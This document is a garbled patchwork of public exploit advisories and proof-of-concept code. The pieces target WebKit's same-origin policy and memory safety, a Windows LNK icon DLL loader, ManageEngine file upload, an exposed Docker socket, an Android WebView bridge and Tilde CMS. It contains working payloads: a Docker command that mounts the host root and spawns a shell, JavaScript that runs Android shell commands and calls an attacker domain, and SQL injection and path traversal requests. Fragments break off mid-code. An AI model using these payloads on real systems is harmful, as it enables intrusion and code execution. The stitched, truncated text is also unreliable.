        This module exploits a vulnerability in the handling of Windows Shortcut files (.LNK)
        that contain a dynamic icon, loaded from a malicious DLL.

        This vulnerability is a variant of MS15-020 (CVE-2015-0096). The created LNK file is
        similar except in an additional SpecialFolderDataBlock is included. The folder ID set
        in this SpecialFolderDataBlock is set to the Control Panel. This is enought to bypass
        the CPL whitelist. This bypass can be used to trick Windows into loading an arbitrary
        DLL file.

JSObject::putInlineSlow and JSValue::putToPrimitive use getPrototypeDirect instead of getPrototype to get an object's prototype. So JSDOMWindow::getPrototype which checks the Same Origin Policy is not called.

The PoC shows to call a setter of another origin's object.

PoC 1 - JSValue::putToPrimitive:
-->

<body>
<script>

let f = document.body.appendChild(document.createElement('iframe'));
let loc = f.contentWindow.location;
f.onload = () => {
    let a = 1.2;
    a.__proto__.__proto__ = f.contentWindow;

    a['test'] = {toString: function () {
        arguments.callee.caller.constructor('alert(location)')();
    }};
};
f.src = 'data:text/html,' + `<iframe></iframe><script>
Object.prototype.__defineSetter__('test', v => {
    'a' + v;
});

</scrip` + `t>`;

</script>
</body>

<!--
PoC 2 - JSObject::putInlineSlow:
<body>
<script>

let f = document.body.appendChild(document.createElement('iframe'));
let loc = f.contentWindow.location;
f.onload = () => {
    let a = {
        __proto__: f.contentWindow
    };

    a['test'] = {toString: function () {
        arguments.callee.caller.constructor('alert(location)')();

Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1245

There is a use-after-free security vulnerability in WebKit. The vulnerability was confirmed on ASan build of WebKit nightly.

Note that accessibility features need to be enabled in order to trigger this bug. On Safari on Mac this can be accomplished by opening the inspector (simply opening the inspector enables accessibility features). On WebKitGTK+ (and possibly other WebKit releases) accessibility features are enabled by default.

PoC:

<style>
  #div { visibility: collapse }

function eventhandler() {
  document.execCommand("bold", false);
  img.style.removeProperty("-webkit-appearance");

}
</script>

There is a use-after-free security vulnerability in WebKit. The vulnerability was confirmed on ASan build of WebKit nightly.

Note that accessibility features need to be enabled in order to trigger this bug. On Safari on Mac this can be accomplished by opening the inspector (simply opening the inspector enables accessibility features). On WebKitGTK+ (and possibly other WebKit releases) accessibility features are enabled by default.

# Exploit Title: ManageEngine Desktop Central 10 Build 100087 RCE
# Date: 24-07-2017
# Software Link: https://www.manageengine.com/products/desktop-central/
# Exploit Author: Kacper Szurek
# Contact: https://twitter.com/KacperSzurek
# Website: https://security.szurek.pl/
# CVE: CVE-2017-11346
# Category: remote
 
1. Description
   
When uploading a file, the `FileUploadServlet` class does not check the user-controlled `fileName` parameter using `hasVulnerabilityInFileName` function.

This allows a remote attacker to create a malicious file and place it under a directory that allows server-side scripts to run, which results in remote code execution under the context of SYSTEM.

        This module exploits a vulnerability found in ManageEngine Desktop Central 10. When
        uploading a file, the FileUploadServlet class does not check the user-controlled

        it under a directory that allows server-side scripts to run,
        which results in remote code execution under the context of SYSTEM.

# Program affected: mawk is an interpreter for the AWK Programming Language. The AWK language is useful
# for manipulation of data files, text retrieval and processing, and for prototyping and experimenting with algorithms.
#
# An attacker could exploit this vulnerability to execute arbitrary code in the

# Exploit Title: Docker Daemon - Unprotected TCP Socket
# Date: 20-07-2017
# Exploit Author: Martin Pizala
# Vendor Homepage: https://www.docker.com
# Software Link: https://www.docker.com/get-docker
# Version: Since 0.4.7 (2013-06-28) (feature: mount host directories)
# Tested on: Docker CE 17.06.0-ce and Docker Engine 1.13.1
 
1. Description

Utilizing Docker via unprotected tcp socket (2375/tcp, maybe 2376/tcp with tls but without tls-auth), an attacker can create a docker container with the '/' path mounted with read/write permissions on the host server that is running the docker container and use chroot to escape the container-jail.

2. Proof of Concept

docker -H tcp://<ip>:<port> run --rm -ti -v /:/mnt alpine chroot /mnt /bin/sh

3. Solution:

Protect the tcp socket

 Virtual Postage (VPA) - Remote Code Execution via MITM

Version affected: 1.0

App Info: The Android application reviewed allows a user to calculate how much postage will cost.

External Links: 
https://play.google.com/store/apps/details?id=a2.virtualpostage.com [http://archive.is/EdtJT]


Credits: MaXe (@InterN0T) 

Special Thanks: Geoff Ellis for also identifying credentials being sent over HTTP GET requests before InterN0T did: 
https://www.linkedin.com/pulse/insecure-mobile-application-programming-practices-case-geoff-ellis [http://archive.is/LvSeb]
Reference: "String str2 = "http://www.virtualpostage.com.au/auth.asp?Username=" + stringUtils.Encodeproton-Url(mostCurrent._edittext1.getText(), "UTF8") + "&Password=" + stringUtils.Encodeproton-Url(mostCurrent._edittext2.getText(), "UTF8");"

Shouts: SubHacker and the rest of the awesome infosec community.


-:: The Advisory ::-
The Android application is vulnerable to Remote Code Execution via Man-In-The-Middle (MITM) attacks. 
This is caused by the following lines of code within the \a2\virtualpostage\com\main.java file: (Lines 442 - 448)

            StringUtils stringUtils = new StringUtils();
            String str2 = "http://www.virtualpostage.com.au/auth.asp?Username=" + stringUtils.EncodeUrl(mostCurrent._edittext1.getText(), "UTF8") + "&Password=" + stringUtils.EncodeUrl(mostCurrent._edittext2.getText(), "UTF8");
            WebViewExtras webViewExtras = mostCurrent._webviewextras1;
            WebViewExtras.addJavascriptInterface(mostCurrent.activityBA, (WebView) mostCurrent._webview1.getObject(), "B4A");
            mostCurrent._webview1.LoadUrl(str2);
            mostCurrent._t.Initialize(processBA, "LOGGINGIN", 15000);
            mostCurrent._t.setEnabled(true);


In addition to the above, the following App configuration also aids in the exploitability of this issue: (File: AndroidManifest.xml)
    <uses-sdk android:minSdkVersion="5" android:targetSdkVersion="14" />

If an attacker performs a MITM attack against "www.virtualpostage.com.au" by e.g. hijacking the domain name, DNS, IP prefix, or by 
serving a malicious wireless access point (or hijacking a legitimate one), or by hacking the server at "www.virtualpostage.com.au", 
then the attacker can instruct the Android application to execute attacker controlled Java code that the phone will execute in the 
context of the application.

The root cause of this vulnerability is caused by addJavascriptInterface() within the WebViewer, which in older API versions can be 
used to execute arbitrary Java code by using reflection to access public methods with attacker provided JavaScript.


-:: Proof of Concept ::-
A successful attack that makes "www.virtualpostage.com.au" serve the following code:
<script>
  function execute(cmd){
    return B4A.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmd);
  }
  execute(['/system/bin/sh', '-c', 'echo InterN0T was here > /data/data/a2.virtualpostage.com/owned']);
  execute(['/system/bin/sh', '-c', 'am start -a android.intent.action.VIEW -d "http://attacker-domain.tld/video.mp4"']);
  </script>
  This application has been owned.

Will make the Android application create a new file in the App directory named: owned, and also play a video chosen by the attacker as an example.

Instead of creating a new file, the attacker can also use the "drozer" payload for example. Refer to the references further below.

The vulnerable HTTP request is triggered when a user attempts to log in with any set of credentials.


-:: Solution ::-
The Android app code should not use the addJavaScriptInterface() function. Instead the following code should be used:
    WebView webView = new WebView(this);
    setContentView(webView);
    ...
Alternatively, the application manifest should specify API levels JELLY_BEAN_MR1 and above as follows:
    <manifest>
    <uses-sdk android:minSdkVersion="17" />
    ...
    </manifest>

The URL used ("http://www.virtualpostage.com.au") should ALSO use HTTPS (and verify the hostname and certificate properly).

Last but not least, the following code can also be used to determine whether the addJavascriptInterface should be enabled or not:
    private void exposeJsInterface() {
        if (VERSION.SDK_INT < 17) {
            Log.i(TAG, "addJavascriptInterface() bridge disabled.");
        } else {
            addJavascriptInterface(Object, "EVENT_NAME_HERE");
        }
    }

In relation to the credentials being sent over plain-text HTTP GET requests, the following are the most basic recommendations to be implemented:
- All URLS within the application must utilize HTTPS.
- Certificate pinning should also be implemented.
- Usernames and passwords should not be sent over HTTP GET requests, HTTP POST requests should be used instead.

# Exploit Title: Tilde CMS 1.01 Multiple Vulnerabilities
# Date: July 7th, 2017
# Exploit Authors: Paolo Forte, Raffaele Forte <raffaele@backbox.org>
# Vendor Homepage: http://www.tildenetwork.com/
# Version: Tilde CMS 1.0.1
# Tested on: Ubuntu 12.04, PHP 5.3.10


I. INTRODUCTION
========================================================================
Tilde CMS is closed-source content management system created by 
tildenetwork.com


II. DESCRIPTION
========================================================================
The web application suffers of multiple vulnerabilities.

1. SQL Injection
------------------------------------------------------------------------
Due to missing escaping of the backtick character, the following query in 
the source code is vulnerable:

[class.SystemAction.php]

	$SQL_string = "SELECT * FROM `form_table_".$id_form."` WHERE ID='$idForm'";
	$SQL_oldData = @mysql_query($SQL_string,$this->DB_conn);

The vulnerability can be trigged via a POST request as shown in the
following PoC: 

	POST /actionphp/action.input.php HTTP/1.1

	ActionForm=SendForm&TotalQuery=653&TotalCompiled=2&id=1` WHERE 
	SLEEP(5)-- aaa &idForm=1234567890

The resulting query on the server-side will be:
	SELECT * FROM `form_table_1` WHERE SLEEP(5)-- aaa ` WHERE ID='1234567890'

For a succesful exploitation, the table "form_table_1" must be valid.


2. Path Traversal
------------------------------------------------------------------------
The vulnerabilty exists on this method:

	GET /actionphp/download.File.php?&file=../../../../../../etc/passwd


3. Arbitrary Files Upload
------------------------------------------------------------------------
It is possible to bypass the implemented restrictions shown in the 
following snippet of the code:

	$file=$_FILES['file'.$i]['tmp_name'];
	if (($file!="")&&($file!="none")) {
		$source_file=$file;
		$file_name=$_FILES['file'.$i]['name'];
		$file_name=str_replace(".php",".txt",$file_name);
		$file_name=str_replace(" ","_",$file_name);
		$file_name=str_replace("+","",$file_name);

A file named "filename.+php" will be renamed in "filename.php", therefore 
successfully uploaded.


4. Insecure Direct Object References
------------------------------------------------------------------------
It is possible to retrieve sensitive resources by using direct references.
A low privileged user can load the PHP resources such as: 

	admin/content.php
	admin/content.php?method=ftp_upload


IV. BUSINESS IMPACT
========================================================================
These flaws may compromise the integrity of the system and/or expose 
sensitive information.


V. SYSTEMS AFFECTED
========================================================================
Tilde CMS 1.01 is vulnerable (probably all previous versions)


VI. VULNERABILITY HISTORY
========================================================================
July 6th, 2017: Vulnerability identification
July 7th, 2017: Vendor notification
July 13th, 2017: Vendor notification


VII. LEGAL NOTICES

Here's a snippet of ObjectPatternNode::appendEntry.

void appendEntry(const JSTokenLocation&, ExpressionNode* propertyExpression, DestructuringPatternNode* pattern, ExpressionNode* defaultValue, BindingType bindingType)
{
    m_targetPatterns.append(Entry{ Identifier(), propertyExpression, false, pattern, defaultValue, bindingType });
}

Here's the definition of Entry.

struct Entry {
    const Identifier& propertyName;
    ExpressionNode* propertyExpression;
    bool wasString;
    DestructuringPatternNode* pattern;
    ExpressionNode* defaultValue;
    BindingType bindingType;
};

The Identifier object created by "Identifier()" is in the stack. So it will get freed in the end of the appendEntry method.

PoC:

var {[a]: b, ...[]} = {};

Here is a snippet of ArgumentsEliminationPhase::transform
    case LoadVarargs:
        ...
        if (candidate->op() == PhantomNewArrayWithSpread || candidate->op() == PhantomSpread) {
            ...
            if (argumentCountIncludingThis <= varargsData->limit) {
                storeArgumentCountIncludingThis(argumentCountIncludingThis);
                // store arguments
                ...
            }

            node->remove();
            node->origin.exitOK = canExit;
            break;
        }

Whether or not the "argumentCountIncludingThis <= varargsData->limit" condition is satisfied, it removes the |node| variable and exits the switch statement. So in this case the condition is not satisfied, the arguments object created by the following code(CreateDirectArguments in the PoC) may have uninitialized values and length.

PoC:
-->

const kArgsLength = 0x101;

let buggy = null;
function inlineFunc() {
    if (arguments.length != kArgsLength) {
        buggy = arguments;
    }
}

class ClassForInine extends inlineFunc {
}

function sleep(ms) {
    let start = new Date();
    while (new Date() - start < ms);
}

function main() {
    let args = new Array(kArgsLength);
    args.fill(333 + 1);
    args = args.join(', ');

    let opt = new Function(`(() => {
        new ClassForInine(${args});
    })();`);

    for (let i = 0; i < 0x100000; i++) {
        opt();

        if (i === 0x3000)
            sleep(1000);

        if (buggy) {
            print('buggy.length: ' + buggy.length);
            break;
        }
    }

    for (let i = 0, n = buggy.length; i < n; i++) {
        print(buggy[i]);
    }
}

main();
